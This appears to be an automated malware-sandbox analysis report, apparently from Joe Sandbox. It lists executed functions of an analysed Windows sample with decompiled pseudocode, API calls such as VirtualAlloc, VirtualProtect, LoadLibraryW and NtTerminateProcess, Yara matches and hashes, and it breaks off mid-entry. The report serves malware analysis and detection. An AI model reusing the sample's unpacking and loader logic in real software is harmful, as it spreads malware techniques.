Total number of Nodes:	105
Total number of Limit Nodes:	6

Executed Functions

Function 004017E2 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004017E2(void* __edx) {
				void* _t4;

				 *((intOrPtr*)(_t4 - 0x77)) =  *((intOrPtr*)(_t4 - 0x77)) + __edx;
			}

0x004017e2

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.393063490.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction ID: ddaf0562df841adfab300f0276baae716c17d25714fd681a3a6e16616d485b4c
Opcode Fuzzy Hash: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction Fuzzy Hash: EC015233148208EBDB017AA59C41DA97729AB45754F30C537FA03791F1D67D8713A72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017E3 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E004017E3(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t8;
				char* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t16;
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr* _t22;
				void* _t24;
				void* _t26;

				_push(0x181b);
				_t8 =  *_t21;
				_t22 = _t21 + 4;
				L00401118(_t8, _t13, 0x61, _t19, _t20, _t24);
				_t14 = _a4;
				Sleep(0x1388);
				_t3 =  &_v8; // 0x1b68f34d
				_t9 = _t3;
				_push(_t9);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				L00401360(); // executed
				_t25 = _t9;
				if(_t9 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t17, _t18, _t19, _t26); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t16 =  *_t22;
				L00401118(_t11, _t14, _t16, _t19, _t20, _t25);
				return _t11;
			}

0x004017f1
0x004017f6
0x004017f9
0x00401816
0x0040181b
0x00401823
0x00401826
0x00401826
0x00401829
0x0040182a
0x0040182d
0x00401830
0x00401831
0x00401836
0x00401838
0x0040183a
0x0040183d
0x00401840
0x00401841
0x00401842
0x00401842
0x0040184b
0x00401858
0x00401868
0x0040186a
0x00401877
0x00401880

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.393063490.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction ID: 1d0556d2ce3487287f662705d53e2785c513140bae9e3f24436a296874fe77da
Opcode Fuzzy Hash: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction Fuzzy Hash: 15017533108208F7D7017A958C42DAA3628AB45754F30C437BA03790F1D57DDB12676B

Uniqueness

Uniqueness Score: -1.00%

Function 004017EE Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E004017EE(void* __edi, void* __esi) {
				intOrPtr _t8;
				intOrPtr* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				intOrPtr* _t25;
				intOrPtr* _t26;
				void* _t29;
				void* _t31;

				_t21 = __esi;
				_t19 = __edi;
				_push(0x181b);
				_t8 =  *_t25;
				_t26 = _t25 + 4;
				L00401118(_t8, _t13, 0x61, __esi, 0x1b68f351, _t29);
				_t14 =  *((intOrPtr*)(0x1b68f359));
				Sleep(0x1388);
				_t9 = 0x1b68f34d;
				_push(_t9);
				_push( *0x1B68F361);
				_push( *0x1B68F35D);
				_push(_t14); // executed
				L00401360(); // executed
				_t30 = _t9;
				if(_t9 != 0) {
					_push( *0x1B68F365);
					_push( *((intOrPtr*)(0x1b68f34d)));
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t18, _t19, _t21, _t31); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t17 =  *_t26;
				L00401118(_t11, _t14, _t17, _t21, 0x1b68f351, _t30);
				return _t11;
			}

0x004017ee
0x004017ee
0x004017f1
0x004017f6
0x004017f9
0x00401816
0x0040181b
0x00401823
0x00401826
0x00401829
0x0040182a
0x0040182d
0x00401830
0x00401831
0x00401836
0x00401838
0x0040183a
0x0040183d
0x00401840
0x00401841
0x00401842
0x00401842
0x0040184b
0x00401858
0x00401868
0x0040186a
0x00401877
0x00401880

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.393063490.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction ID: 6a2648c31bf342f80e2744bc490c75df06b0a743f4722301b2fbabc3dba0a0aa
Opcode Fuzzy Hash: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction Fuzzy Hash: 54016733508304ABDB017AA18C42EA937289B45754F24C577BB13790F2D57DCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00ADEB84 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00ADEBAC
Module32First.KERNEL32(00000000,00000224), ref: 00ADEBCC

Memory Dump Source

Source File: 00000000.00000002.393850787.0000000000ADA000.00000040.00000020.00020000.00000000.sdmp, Offset: 00ADA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ada000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: bd6a2792c17e02e0226b91a04e0e0214f46c85e6006b6993917a5cd4229a9bfa
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: D7F0F6312007116FD7207BF59C8CB6E76E8AF48721F10452BE643DA5C0DB70FD054661

Uniqueness

Uniqueness Score: -1.00%

Function 00401807 Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E00401807(signed int __edx, void* __edi, void* __esi) {
				void* _t9;
				void* _t10;
				void* _t12;
				void* _t14;
				intOrPtr* _t15;
				intOrPtr _t18;
				void* _t21;
				void* _t25;
				intOrPtr* _t27;
				signed char _t30;
				void* _t32;

				_t23 = __esi;
				_t21 = __edi;
				_t20 = __edx |  *(_t25 + 0x7b);
				_t30 = __edx |  *(_t25 + 0x7b);
				L00401118(_t9, _t14, 0x61, __esi, _t25, _t30);
				_t15 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t4 = _t25 - 4; // 0x1b68f34d
				_t10 = _t4;
				_push(_t10);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t15); // executed
				L00401360(); // executed
				_t31 = _t10;
				if(_t10 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t10);
					_push(_t15); // executed
					E00401432(_t15, _t20, _t21, _t23, _t32); // executed
				}
				 *_t15(0xffffffff, 0); // executed
				_t12 = 0x181b;
				_push(0x61);
				_t18 =  *_t27;
				L00401118(_t12, _t15, _t18, _t23, _t25, _t31);
				return _t12;
			}

0x00401807
0x00401807
0x00401807
0x00401807
0x00401816
0x0040181b
0x00401823
0x00401826
0x00401826
0x00401829
0x0040182a
0x0040182d
0x00401830
0x00401831
0x00401836
0x00401838
0x0040183a
0x0040183d
0x00401840
0x00401841
0x00401842
0x00401842
0x0040184b
0x00401858
0x00401868
0x0040186a
0x00401877
0x00401880

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.393063490.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction ID: d1e85a843a3bf15b3ffbd62fd2fe31d474754e63a526ee7ed21e8696c92682af
Opcode Fuzzy Hash: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction Fuzzy Hash: 2FF04F33204208FBDB007BA18C42EAD3729AB45754F20C537BA13790F2D679CA12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00409B11 Relevance: 16.7, APIs: 11, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00409B72
_wprintf.LIBCMTD ref: 00409CA1
_wscanf.LIBCMTD ref: 00409CAA
_wscanf.LIBCMTD ref: 00409CB7
__wremove.LIBCMTD ref: 00409CBD
__wrename.LIBCMTD ref: 00409CC4
_labs.LIBCMTD ref: 00409CE1
_abort.LIBCMTD ref: 00409CE6
_realloc.LIBCMTD ref: 00409D0D

Part of subcall function 0040A7B0: __realloc_dbg.LIBCMTD ref: 0040A7C4

_malloc.LIBCMTD ref: 00409D13

Part of subcall function 0040A780: __nh_malloc_dbg.LIBCMTD ref: 0040A796

__wctomb_s_l.LIBCMTD ref: 00409D1D

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _wscanf$__nh_malloc_dbg__realloc_dbg__wctomb_s_l__wremove__wrename_abort_labs_malloc_memset_realloc_wprintf
String ID:
API String ID: 2019212891-0
Opcode ID: b7a4a65a013421810ac4a52313fb17243f67ceec3f5082b47fe827cf8165aa4a
Instruction ID: 84d0ca801cbff2cd06d7bdebf418d9d672f18ef7858b508b20d4e9dfa1e92ba6
Opcode Fuzzy Hash: b7a4a65a013421810ac4a52313fb17243f67ceec3f5082b47fe827cf8165aa4a
Instruction Fuzzy Hash: 4D518E72802524BBD7156BA29D09DDF3BACEF0A751B000036F606B50A1D73C5A45CBFE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEB0 Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040AF2C
__heap_init.LIBCMTD ref: 0040AF36

Part of subcall function 00419610: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040AF3B,00000001), ref: 00419626

_fast_error_exit.LIBCMTD ref: 0040AF44

Part of subcall function 0040B090: ___crtExitProcess.LIBCMTD ref: 0040B0B4

__mtinit.LIBCMTD ref: 0040AF4C
_fast_error_exit.LIBCMTD ref: 0040AF57
__RTC_Initialize.LIBCMTD ref: 0040AF69
___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AF93
___setargv.LIBCMTD ref: 0040AF9D
__setenvp.LIBCMTD ref: 0040AFB0
__cinit.LIBCMTD ref: 0040AFC5
__wincmdln.LIBCMTD ref: 0040AFE2

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2258361453-0
Opcode ID: 35567e463a87d3bf55315de60d3f6b840177f20f6f35b604e76687a3dffd38c2
Instruction ID: d9d936ca505bf2268ade43a19ff862e4fd71a554de30297134b2deed6f80c149
Opcode Fuzzy Hash: 35567e463a87d3bf55315de60d3f6b840177f20f6f35b604e76687a3dffd38c2
Instruction Fuzzy Hash: 1241C1F1D003099BDB10ABB2AC06B9E76B4AF5475CF10013EF515AB2C2FB799540CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF25 Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040AF2C
__heap_init.LIBCMTD ref: 0040AF36

Part of subcall function 00419610: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040AF3B,00000001), ref: 00419626

_fast_error_exit.LIBCMTD ref: 0040AF44

Part of subcall function 0040B090: ___crtExitProcess.LIBCMTD ref: 0040B0B4

__mtinit.LIBCMTD ref: 0040AF4C
_fast_error_exit.LIBCMTD ref: 0040AF57
__RTC_Initialize.LIBCMTD ref: 0040AF69
___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AF93
___setargv.LIBCMTD ref: 0040AF9D
__setenvp.LIBCMTD ref: 0040AFB0
__cinit.LIBCMTD ref: 0040AFC5
__wincmdln.LIBCMTD ref: 0040AFE2

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2258361453-0
Opcode ID: 3a7eddbdabf2ec260cee83d5f387ff21e4e0e706ea8f20e6eaee792408d3a0f3
Instruction ID: 01840fa34cac2b27e497d19540e113479eb471d20927bec609328bd74033ff4d
Opcode Fuzzy Hash: 3a7eddbdabf2ec260cee83d5f387ff21e4e0e706ea8f20e6eaee792408d3a0f3
Instruction Fuzzy Hash: AD3193F1D003059AEB10BBB2AD067DE7260AF5034CF10013FE9196B2C2FB799954CA9B

Uniqueness

Uniqueness Score: -1.00%

Function 008E003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 008E024D

Strings

cess, xrefs: 008E018D
kernel32.dll, xrefs: 008E008F, 008E0095

Memory Dump Source

Source File: 00000000.00000002.393488044.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: bce1e7aedbb0bac3c40372ab5dc58ce5663e3ac356884f583a70f195ca8c1d4b
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 18527874A002699FDB64CF59C984BA8BBB1FF09304F1484E9E90DAB351DB70AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040B4D7 Relevance: 7.8, APIs: 5, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CrtCheckMemory.LIBCMTD ref: 0040B4FA
__heap_alloc_base.LIBCMTD ref: 0040B681
_memset.LIBCMT ref: 0040B7C9
_memset.LIBCMT ref: 0040B7E6
_memset.LIBCMT ref: 0040B801

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: 3dfc6f3e36190569b0b4ff7e349d6e704dcea01823e43e80363256a8730ba0e2
Instruction ID: a439263005fef0b8d3d380dac63c58c48d0124d45b6a22986d4addc6258dd5b4
Opcode Fuzzy Hash: 3dfc6f3e36190569b0b4ff7e349d6e704dcea01823e43e80363256a8730ba0e2
Instruction Fuzzy Hash: 8AA17A79A002049BDB14DF44DD91BAE77B1FB49304F24826AE5047B3D2D37AAE41CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004190F0 Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 0041917B
__nh_malloc_dbg.LIBCMTD ref: 004192A7

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 227b717b65a4938dca3b8b186e746e293c8ccce7144f318583cd801f0736b70c
Instruction ID: 113629836206ffbcd4345f1d5f211b41ed6e3cb55046783e538fea95cc1e0be7
Opcode Fuzzy Hash: 227b717b65a4938dca3b8b186e746e293c8ccce7144f318583cd801f0736b70c
Instruction Fuzzy Hash: D0E10A74E04248DFDB24CFA8C894BADBBB1BB49314F24C25ED8656B392D7359882CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00409630 Relevance: 4.9, APIs: 3, Instructions: 421
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00409649
_memset.LIBCMT ref: 004097B4
LoadLibraryW.KERNELBASE(00844320), ref: 00409966

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: AllocLibraryLoadLocal_memset
String ID:
API String ID: 3001991562-0
Opcode ID: 65f9f089d26b16b8cabe2456cdfdfe597196be458d729bd9599a003b5564d000
Instruction ID: 8b16d9444cc23eed9f985afb24e616890457e2c85c30fbf8020b75cfe9335872
Opcode Fuzzy Hash: 65f9f089d26b16b8cabe2456cdfdfe597196be458d729bd9599a003b5564d000
Instruction Fuzzy Hash: 43D1C0B6800258BFE7116BB0ADC8EAB776CFB09745B005436F647E2572D6384D858B78

Uniqueness

Uniqueness Score: -1.00%

Function 0040B43F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QQ, xrefs: 0040B439

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 8ebcda0000eecf523cbd085e01e090e350d6b15ac35dbad072ca10934f5ebcd5
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: D301FBB5A00109EBDB04DF54D840BAE73B4EB48304F10816AFD09A7382D339DB51DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B84E Relevance: 3.1, APIs: 2, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invalid_parameter.LIBCMTD ref: 0040B8AD
_memset.LIBCMT ref: 0040B8F9

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID:
API String ID: 3961059608-0
Opcode ID: 42e8d5492dc28c9f593c29e34702e076be01cc6a0543cefd3c95647f8d6435a1
Instruction ID: b14c5a2da7062b727ce9381ca03192c1985c7a5b87aedbcec7922ed36f6b9d2e
Opcode Fuzzy Hash: 42e8d5492dc28c9f593c29e34702e076be01cc6a0543cefd3c95647f8d6435a1
Instruction Fuzzy Hash: A21154B1A40208BBDB04DF94CC82F9E3375EB54704F10856AF909BB2D1E778EA508B99

Uniqueness

Uniqueness Score: -1.00%

Function 008E0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,008E0223,?,?), ref: 008E0E19
SetErrorMode.KERNELBASE(00000000,?,?,008E0223,?,?), ref: 008E0E1E

Memory Dump Source

Source File: 00000000.00000002.393488044.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a4f48c892f8e9c9ae69895b6c0a5a0597368a000e48ec749cc81b878f319df75
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: C9D0123114512877D7002A95DC09BCD7B1CDF05B62F008421FB0DD9080C7B0994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040952F Relevance: 1.6, APIs: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 0040962A

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: babe493c07d8701817ce7865de40c12a77bf11d4f93359591e4cee31efe26c33
Instruction ID: 78093bf69d47a37e1b8a58378b4d5da073084c86d2564db411f963523d8cecce
Opcode Fuzzy Hash: babe493c07d8701817ce7865de40c12a77bf11d4f93359591e4cee31efe26c33
Instruction Fuzzy Hash: BA21436840D2C0D9E702C768BD087913E95572778AF0A80A996C45A2B2D7FB165CCBBF

Uniqueness

Uniqueness Score: -1.00%

Function 00409531 Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 0040962A

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1ed43962de46cfa962eea8ff9717189a25da0eb2d605956bd67fc6f16d083c49
Instruction ID: f982f2ee5759c49f71e98fea5c99dd4de667a6318819f9267320e3f122d253e1
Opcode Fuzzy Hash: 1ed43962de46cfa962eea8ff9717189a25da0eb2d605956bd67fc6f16d083c49
Instruction Fuzzy Hash: 7A21546840D2C0D9E702C768BD087913E95572778AF0A80A996C45A2B2D7FB165CCBBF

Uniqueness

Uniqueness Score: -1.00%

Function 00419164 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 0041917B
__nh_malloc_dbg.LIBCMTD ref: 004192A7

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: f9bf8707853167085b66593613993b00e5ed86952c72447d674ae544adeca308
Instruction ID: c4f57cec82e4bd0dba32cc6c1f0b5ad598e6c7fbc5f644fcfa7b04f801fa35e6
Opcode Fuzzy Hash: f9bf8707853167085b66593613993b00e5ed86952c72447d674ae544adeca308
Instruction Fuzzy Hash: 95E020B1E84308A9E7309AA5580775C7720E744B31F20472FE235362C2D77504404F09

Uniqueness

Uniqueness Score: -1.00%

Function 00412400 Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00412407

Part of subcall function 00412330: __crt_wait_module_handle.LIBCMTD ref: 0041237C
Part of subcall function 00412330: RtlEncodePointer.NTDLL(?), ref: 004123B7

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 017c5cb46a1c4d55b1340ad0c3270c38816836f5326e70259e7eaab19cdf7902
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 13A0127244420C23E00020933903B03750C43C0638F080021F91C051422886B5604097

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE90 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0040AE95

Part of subcall function 0040AEB0: _check_managed_app.LIBCMTD ref: 0040AF2C
Part of subcall function 0040AEB0: __heap_init.LIBCMTD ref: 0040AF36
Part of subcall function 0040AEB0: _fast_error_exit.LIBCMTD ref: 0040AF44
Part of subcall function 0040AEB0: __mtinit.LIBCMTD ref: 0040AF4C
Part of subcall function 0040AEB0: _fast_error_exit.LIBCMTD ref: 0040AF57
Part of subcall function 0040AEB0: __RTC_Initialize.LIBCMTD ref: 0040AF69
Part of subcall function 0040AEB0: ___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AF93
Part of subcall function 0040AEB0: ___setargv.LIBCMTD ref: 0040AF9D
Part of subcall function 0040AEB0: __setenvp.LIBCMTD ref: 0040AFB0
Part of subcall function 0040AEB0: __cinit.LIBCMTD ref: 0040AFC5
Part of subcall function 0040AEB0: __wincmdln.LIBCMTD ref: 0040AFE2

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2731678867-0
Opcode ID: ee8f2d7c38ba407090a88614530fa8bfefe5418cda479201f07807e08c8461eb
Instruction ID: 4163ddfda7dbc0b273293bbe506c37d36eb456cb6e14ae8899fefb7f074ccf43
Opcode Fuzzy Hash: ee8f2d7c38ba407090a88614530fa8bfefe5418cda479201f07807e08c8461eb
Instruction Fuzzy Hash: DCA02232080B0C02020033E3200B80B320E08C032C382002FBA0C022032C3CB8A000EF

Uniqueness

Uniqueness Score: -1.00%

Function 00ADE843 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00ADE894

Memory Dump Source

Source File: 00000000.00000002.393850787.0000000000ADA000.00000040.00000020.00020000.00000000.sdmp, Offset: 00ADA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ada000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 78b75b328cb6fb5389ac5e4a5d787df4d592d4996eaaeb5e4ecde9a6e926b535
